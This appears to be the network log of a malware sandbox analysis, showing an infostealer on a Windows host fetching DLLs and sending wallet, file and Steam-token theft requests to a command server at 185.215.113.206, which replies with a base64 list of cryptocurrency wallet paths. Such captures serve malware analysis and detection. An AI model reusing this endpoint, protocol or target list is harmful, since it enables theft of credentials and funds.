00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 1, 2024 03:45:35.786541939 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 03:45:36.067816973 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 1, 2024 03:45:36.576867104 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 03:45:36.857930899 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 1, 2024 03:45:37.325778961 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 03:45:38.110399961 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:38.172967911 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCAAKFBAEGDGCBGCGH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 2d 2d 0d 0a Data Ascii: ------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="message"wallets------IEGCAAKFBAEGDGCBGCGH--
Nov 1, 2024 03:45:38.457654953 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 1, 2024 03:45:38.461785078 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKJJJECFIEBFHIEGHJD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 2d 2d 0d 0a Data Ascii: ------KJKJJJECFIEBFHIEGHJDContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------KJKJJJECFIEBFHIEGHJDContent-Disposition: form-data; name="message"files------KJKJJJECFIEBFHIEGHJD--
Nov 1, 2024 03:45:38.746588945 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:38.759025097 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="file"------BGHIIJDGHCBFIECBKEGH--
Nov 1, 2024 03:45:39.538718939 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:39.563812017 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="message"ybncbhylepme------AAAKEBGDAFHIIDHIIECF--
Nov 1, 2024 03:45:39.847868919 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:39.852267981 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 2d 2d 0d 0a Data Ascii: ------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DBKFHJEBAAEBGDGDBFBG--
Nov 1, 2024 03:45:40.632251978 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	172.217.18.4	443	7212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:16 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 02:45:16 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:16 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-2EMDXXy7PSz79sswUb2H9g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-01 02:45:16 UTC	112	IN	Data Raw: 65 30 61 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6f 70 65 6e 6e 65 73 73 20 6e 79 74 20 63 72 6f 73 73 77 6f 72 64 20 63 6c 75 65 22 2c 22 77 6f 72 6c 64 20 73 65 72 69 65 73 20 64 6f 64 67 65 72 73 20 67 61 6d 65 20 35 22 2c 22 74 72 69 63 6b 20 6f 72 20 74 72 65 61 74 20 74 69 6d 65 73 20 6d 65 74 72 6f 20 64 65 74 72 6f 69 74 22 2c Data Ascii: e0a)]}'["",["openness nyt crossword clue","world series dodgers game 5","trick or treat times metro detroit",
2024-11-01 02:45:16 UTC	1378	IN	Data Raw: 22 63 68 69 6c 69 73 22 2c 22 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 73 20 68 75 72 72 69 63 61 6e 65 73 22 2c 22 70 6f 6b c3 a9 6d 6f 6e 20 74 63 67 20 70 6f 63 6b 65 74 22 2c 22 6e 66 6c 20 74 68 75 72 73 64 61 79 20 6e 69 67 68 74 20 66 6f 6f 74 62 61 6c 6c 20 67 61 6d 65 22 2c 22 62 65 73 74 20 68 6f 72 72 6f 72 20 6d 6f 76 69 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 Data Ascii: "chilis","tropical storms hurricanes","pokmon tcg pocket","nfl thursday night football game","best horror movies"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d
2024-11-01 02:45:16 UTC	1378	IN	Data Raw: 39 6a 57 48 70 4c 52 47 68 42 53 47 31 78 55 47 74 68 52 48 46 51 64 45 78 74 63 44 4e 68 54 6d 4e 72 57 6a 64 6a 54 55 73 34 4e 32 6f 7a 4c 30 46 44 4b 30 31 54 62 6a 4a 6c 64 44 4e 46 4e 33 5a 79 4c 32 52 53 61 57 52 55 51 31 4a 73 54 56 5a 73 65 6d 5a 68 63 46 56 6f 61 69 39 44 51 57 5a 73 4f 46 46 49 4c 31 42 49 51 33 52 42 64 47 73 76 57 69 39 31 63 54 6c 50 62 33 6f 7a 4d 48 70 68 55 54 46 52 4b 32 39 4c 52 6e 46 31 55 32 34 34 54 6d 46 6b 62 32 55 7a 4d 33 55 31 5a 58 6c 78 4d 54 63 79 53 48 5a 34 61 46 42 78 62 47 73 7a 59 57 64 69 54 79 38 32 4b 30 6f 33 63 56 70 58 56 48 68 6d 53 6e 42 6e 5a 57 45 79 51 56 56 4a 63 47 6c 46 56 6b 4a 72 65 48 4d 30 63 6b 68 56 61 6a 59 30 4e 30 77 31 56 57 5a 47 55 6b 35 4d 51 6a 68 52 61 54 64 70 53 7a 46 70 65 Data Ascii: 9jWHpLRGhBSG1xUGthRHFQdExtcDNhTmNrWjdjTUs4N2ozL0FDK01TbjJldDNFN3ZyL2RSaWRUQ1JsTVZsemZhcFVoai9DQWZsOFFIL1BIQ3RBdGsvWi91cTlPb3ozMHphUTFRK29LRnF1U244TmFkb2UzM3U1ZXlxMTcySHZ4aFBxbGszYWdiTy82K0o3cVpXVHhmSnBnZWEyQVVJcGlFVkJreHM0ckhVajY0N0w1VWZGUk5MQjhRaTdpSzFpe
2024-11-01 02:45:16 UTC	733	IN	Data Raw: 4c 32 5a 4f 54 79 39 61 4c 33 64 43 4e 57 5a 76 5a 6d 78 55 59 56 64 34 56 54 41 78 56 32 31 70 64 45 46 32 59 6b 52 54 53 33 68 59 57 6a 42 79 57 6a 49 34 56 46 70 5a 4c 32 6c 52 56 32 67 72 53 55 6f 78 53 30 64 30 5a 6e 6c 75 52 6b 35 33 62 48 68 55 63 46 4d 79 57 56 5a 30 63 54 46 30 56 45 78 43 55 33 41 34 55 32 31 6d 64 6a 52 57 5a 6d 56 73 63 6a 59 32 63 57 6c 35 4e 33 46 76 4e 47 35 4a 56 56 4e 54 53 48 45 33 57 6b 35 6e 57 43 74 75 55 46 42 77 61 58 42 73 54 44 64 6b 61 58 4e 36 52 54 68 45 63 55 38 72 5a 7a 6c 56 59 33 52 36 63 6b 5a 31 56 6b 46 4c 56 55 4a 4c 61 6b 64 47 5a 46 55 72 5a 6d 6c 6d 55 33 51 33 53 32 52 46 57 6b 5a 54 51 30 64 59 54 45 74 74 63 46 64 31 61 56 42 56 62 46 68 4c 4e 55 35 36 57 57 63 72 56 46 70 6b 64 31 51 32 57 43 74 Data Ascii: L2ZOTy9aL3dCNWZvZmxUYVd4VTAxV21pdEF2YkRTS3hYWjByWjI4VFpZL2lRV2grSUoxS0d0ZnluRk53bHhUcFMyWVZ0cTF0VExCU3A4U21mdjRWZmVscjY2cWl5N3FvNG5JVVNTSHE3Wk5nWCtuUFBwaXBsTDdkaXN6RThEcU8rZzlVY3R6ckZ1VkFLVUJLakdGZFUrZmlmU3Q3S2RFWkZTQ0dYTEttcFd1aVBVbFhLNU56WWcrVFpkd1Q2WCt
2024-11-01 02:45:16 UTC	91	IN	Data Raw: 35 35 0d 0a 53 4e 6d 4e 45 4b 79 39 30 61 55 64 48 53 45 68 73 55 55 4a 56 4d 30 5a 35 4d 6e 64 6e 63 56 56 68 62 55 39 70 63 58 52 52 5a 55 70 53 51 6d 59 33 62 48 52 35 59 6d 4e 58 64 43 74 76 4c 31 68 48 61 7a 4e 30 4d 6d 46 56 5a 7a 6b 30 4c 32 56 72 54 6d 35 61 0d 0a Data Ascii: 55SNmNEKy90aUdHSEhsUUJVM0Z5MndncVVhbU9pcXRRZUpSQmY3bHR5YmNXdCtvL1hHazN0MmFVZzk0L2VrTm5a
